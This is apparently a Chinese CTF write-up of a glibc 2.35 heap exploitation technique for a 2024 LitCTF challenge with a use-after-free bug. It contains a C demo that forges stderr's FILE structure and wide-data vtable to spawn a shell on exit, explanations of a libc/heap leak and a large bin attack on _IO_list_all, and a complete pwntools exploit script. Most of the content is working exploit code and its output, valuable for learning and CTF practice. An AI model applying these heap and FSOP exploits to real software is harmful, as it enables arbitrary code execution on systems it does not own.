puts("[*] allocate two 0x200 chunks"); size_t puts_addr = (size_t)&puts;
size_t _IO_2_1_stderr_addr = puts_addr + 0x19a850; printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr); size_t _IO_wfile_jumps_addr = puts_addr + 0x196270; printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr); char *stderr2 = (char *)_IO_2_1_stderr_addr; puts("[+] step 1: change stderr->_flags to 0xfffff7f5 + ;sh"); *(size_t *)stderr2 = 0xfbadf7f5; sprintf(&stderr2[4], "%s", ";sh\x00");
puts("[+] step 2: set stderr->_IO_write_base < stderr->_IO_write_ptr"); *(size_t *)(stderr2 + 0x20) = (size_t)1; *(size_t *)(stderr2 + 0x28) = (size_t)2; puts("[+] step 3: change stderr->_mode to -1"); *(size_t *)(stderr2 + 0xc0) = -1; puts("[+] step 4: change stderr->vtable to _IO_wfile_jumps"); *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr; puts("[+] step 5: replace stderr->_wide_data with the allocated chunk p1"); *(size_t *)(stderr2 + 0xa0) = (size_t)p1; puts("[+] step 6: set stderr->_wide_data->_wide_vtable with the allocated chunk p2"); *(size_t *)(p1 + 0xe0) = (size_t)p2; puts("[+] step 7: set stderr->_wide_data->_IO_write_base = 0 stderr->_wide_data->_IO_buf_base = 0"); *(size_t *)(p1 + 0x30) = (size_t)0; *(size_t *)(p1 + 0x18) = (size_t)0;
puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate"); size_t sys_addr = (size_t)&system; *(size_t *)(p2 + 0x68) = (size_t)(sys_addr); puts("[+] step 9: call exit to trigger backdoor func"); exit(0); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ┌──(p0ach1l㉿ZZH)-[~/Desktop/pwning] └─$ ./demo [*] allocate two 0x200 chunks [*] _IO_2_1_stderr_ address: 0x7f5777e0e6a0 [*] _IO_wfile_jumps address: 0x7f5777e0a0c0 [+] step 1: change stderr->_flags to 0xfffff7f5 + ;sh [+] step 2: set stderr->_IO_write_base < stderr->_IO_write_ptr [+] step 3: change stderr->_mode to -1 [+] step 4: change stderr->vtable to _IO_wfile_jumps [+] step 5: replace stderr->_wide_data with the allocated chunk p1 [+] step 6: set stderr->_wide_data->_wide_vtable with the allocated chunk p2 [+] step 7: set stderr->_wide_data->_IO_write_base = 0 stderr->_wide_data->_IO_buf_base = 0 [+] step 8: put backdoor at fake _wide_vtable->doallocate [+] step 9: call exit to trigger backdoor func sh: 1: ����: not found $
|
参考了这位师傅关于2024litctf 2.35 pwn的分析
题目是2.35的,只有uaf漏洞

分析过程
首先就是泄露libc
free一个大的chunk2,不进入tcache,进入unsorted bin,然后再malloc一个比它大的chunk4,让chunk2进入large bin,通过它的fd和fd_nextsize拿到libc和heap地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| add(8, 0x18) add(0, 0x510) add(1, 0x30) # 0x20的话chunk2的地址是00结尾,printf没法泄露,所以要0x30 add(2, 0x520) add(3, 0x30) delete(2) add(4, 0x530) show(2) #dbg() large = u64(r.recv(6).ljust(8, b'\0')) # 其实是main_arena+0x490 libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_'] _IO_list_all = libcbase + libc.sym['_IO_list_all'] io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps'] system = libcbase + libc.sym['system'] success('libcbase: ' + hex(libcbase)) edit(2, b'A' * 0x10) show(2) r.recv(0x10) heap = u64(r.recv(6).ljust(8, b'\0')) success('heap: ' + hex(heap))
|
如果large bin中只有一个chunk,fd_nextsize和bk_nextsize会指向它本身

然后打large_bin攻击,把_IO_lsit_all挪到chunk0上面
先free出一个大的chunk放在unsorted bin中,然后改large bin的bk_nextsize为_IO_list_all - 0x20
打victim->bk_nextsize->fd_nextsize = victim
1 2 3 4 5
| delete(0) # dbg() edit(2, p64(0)*3+ p64(_IO_list_all - 0x20)) add(5, 0x550) # dbg()
|

malloc之后

构造io结构

flag
_doallocate会以io_file里面的变量为参数,需要把flags改成binsh,同时flags还要满足f->_flags & _IO_CURRENTLY_PUTTING) == 0的条件,由于刚好对应的是chunk0的pre_size位,通过chunk8来布置
1 2
| chunk0 = heap - 0x560 # chunk0的chunk地址 add(0, 0x510) edit(8, b'A' * 0x10 + p32(0xfffff7f5) + b';sh\x00')
|

_IO_write_ptr/base
fp->_IO_write_ptr > fp->_IO_write_base
1
| fake = p64(0)*2 + p64(1) + p64(2)
|

mode
fp->_mode <= 0
1
| fake = fake.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode 0xc0
|

vtable
fp->vtable = IO_wfile_jumps
让 _IO_OVERFLOW(fp) 这种宏/调用最终走到 宽字符的 overflow 实现(即 _IO_wfile_overflow),而不是普通的 _IO_file_overflow。
1
| fake = fake.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable 0xd8
|

wide_data
fp->vtable指向 _IO_wfile_jumps决定 走哪套函数实现(宽文件 or 窄文件)
- 进入宽文件实现(例如
_IO_wfile_overflow)后,会大量读写 fp->_wide_data,并且会通过 fp->_wide_data->_wide_vtable 再跳一次(第二层 vtable)
f->wide_data->_IO_write_base == 0 f->wide_data->_IO_write_base == 0
要把fp->wide_data劫持到chunk0里面一个我们可控的区域。
把wide_data伪造到chunk0+0x100处,方便接下来的控制而且还满足IO_write_base == 0
1
| fake = fake.ljust(0xa0 - 0x10, b'\0') + p64(chunk0 + 0x100) # _wide_data
|
__doallocate
fp->wide_data->_wide_vtable->__doallocate = system
要把fp->wide_data->_wide_vtable劫持成chunk0里面一个我们可控的区域。
1
| fake = fake.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(chunk0 + 0x200)#_wide_vtablem 0xe0
|

chunk_addr + 0x200的位置就不错,0xe0为_wide_vtable在_wide_data里面的偏移。

1 2
| fake_io_file = fake_io_file.ljust( 0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)
|
把__doallocate 覆盖成system,其余_wide_vtable里面的变量覆盖成0就好了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * context(arch='amd64', os='linux', log_level='debug') r = process('./heap') # r = remote('8.147.131.163',24252) e = ELF('./heap') libc = ELF('./libc-2.35.so') # 打本地 context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] one = [0xe6aee, 0xe6af1, 0xe6af4]
def dbg(): gdb.attach(r,'b *$rebase(0x17ed)') pause()
def cmd(choice): r.recvuntil(b'>>') r.sendline(str(choice).encode())
def add(idx, size): cmd(1) r.recvuntil(b'idx? ') r.sendline(str(idx).encode()) r.recvuntil(b'size? ') r.sendline(str(size).encode())
def delete(idx): cmd(2) r.recvuntil(b'idx? ') r.sendline(str(idx).encode())
def show(idx): cmd(3) r.recvuntil(b'idx? ') r.sendline(str(idx).encode()) r.recvuntil(b'content : ')
def edit(idx, content=b'deafbeef'): cmd(4) r.recvuntil(b'idx? ') r.sendline(str(idx).encode()) r.recvuntil(b'content : ') r.send(content)
def exit(): cmd(5)
add(8, 0x18) add(0, 0x510) add(1, 0x30) # 0x20的话chunk2的地址是00结尾,printf没法泄露,所以要0x30 add(2, 0x520) add(3, 0x30) delete(2) add(4, 0x530) show(2) large = u64(r.recv(6).ljust(8, b'\0')) # 其实是main_arena+0x490 libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_'] _IO_list_all = libcbase + libc.sym['_IO_list_all'] io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps'] system = libcbase + libc.sym['system'] success('libcbase: ' + hex(libcbase)) edit(2, b'A' * 0x10) show(2) r.recv(0x10) # dbg() heap = u64(r.recv(6).ljust(8, b'\0')) success('heap: ' + hex(heap)) # dbg()
delete(0) # dbg() edit(2, p64(0)*3+ p64(_IO_list_all - 0x20)) add(5, 0x550) # dbg()
chunk0 = heap - 0x560 # chunk0的chunk地址 add(0, 0x510) edit(8, b'A' * 0x10 + p32(0xfffff7f5) + b';sh\x00')
fake = p64(0)*2 + p64(1) + p64(2)#fp->_IO_write_ptr > fp->_IO_write_base fake = fake.ljust(0xa0 - 0x10, b'\0') + p64(chunk0 + 0x100) # _wide_data fake = fake.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode 0xc0 fake = fake.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable 0xd8 fake = fake.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(chunk0 + 0x200)#_wide_vtablem 0xe0 fake = fake.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)#__doallocate 13 # dbg() edit(0, fake) # dbg() exit()
r.interactive()
|